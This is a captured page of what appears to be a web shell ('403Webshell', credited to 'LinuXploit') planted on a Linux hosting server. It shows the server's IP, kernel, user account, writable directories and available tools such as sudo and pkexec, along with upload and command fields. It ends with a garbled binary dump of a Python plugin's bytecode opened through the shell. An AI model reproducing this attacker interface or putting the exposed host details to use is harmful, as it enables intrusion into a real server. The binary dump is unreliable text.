403Webshell
Server IP : 216.238.111.58  /  Your IP : 216.73.217.34
Web Server : LiteSpeed
System : Linux hosting.smartskills.com.br 4.18.0-553.120.1.el8_10.x86_64 #1 SMP Mon Apr 20 18:04:27 EDT 2026 x86_64
User : skillsitcom ( 1002)
PHP Version : 8.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/sos/report/plugins/__pycache__/fibrechannel.cpython-36.pyc
3

ܓ�i�@s*ddlmZmZmZGdd�dee�ZdS)�)�Plugin�RedHatPlugin�	PluginOptc@s<eZdZdZdZdZdZedd	d
d�gZdd
gZ	dd�Z
dS)�Fibrechannelz+Collect information on fibrechannel devicesZfibrechannel�hardware�storage�system�/sys/class/fc_host�/sys/class/fc_remote_ports�debugTzcollect debugging logs)�defaultZdescz/sys/kernel/debug/qla2*/z/sys/kernel/debug/fnic/cCs�|jddd�|jd�r$|j|j�|jddg�|jd�}|ddkr�xJ|d	j�D]:}d
|krV|j�d}|jd|��d
|��d|��g�qVWdS)Nzudevadm info -a %(dev)sZfibre)Zdevicesrzhbacmd listhbaszhbacmd ServerAttributesZstatusr�outputzPort WWN�zhbacmd HbaAttributes zhbacmd PortAttributes zhbacmd GetXcvrData )Zadd_device_cmdZ
get_optionZ
add_copy_spec�debug_pathsZadd_cmd_outputZcollect_cmd_output�
splitlines�split)�selfZlisthbas�lineZdev�r�"/usr/lib/python3.6/fibrechannel.py�setups

zFibrechannel.setupN)rrr)r	r
)�__name__�
__module__�__qualname__Z
short_descZplugin_nameZprofiles�filesrZoption_listrrrrrrrsrN)Zsos.report.pluginsrrrrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit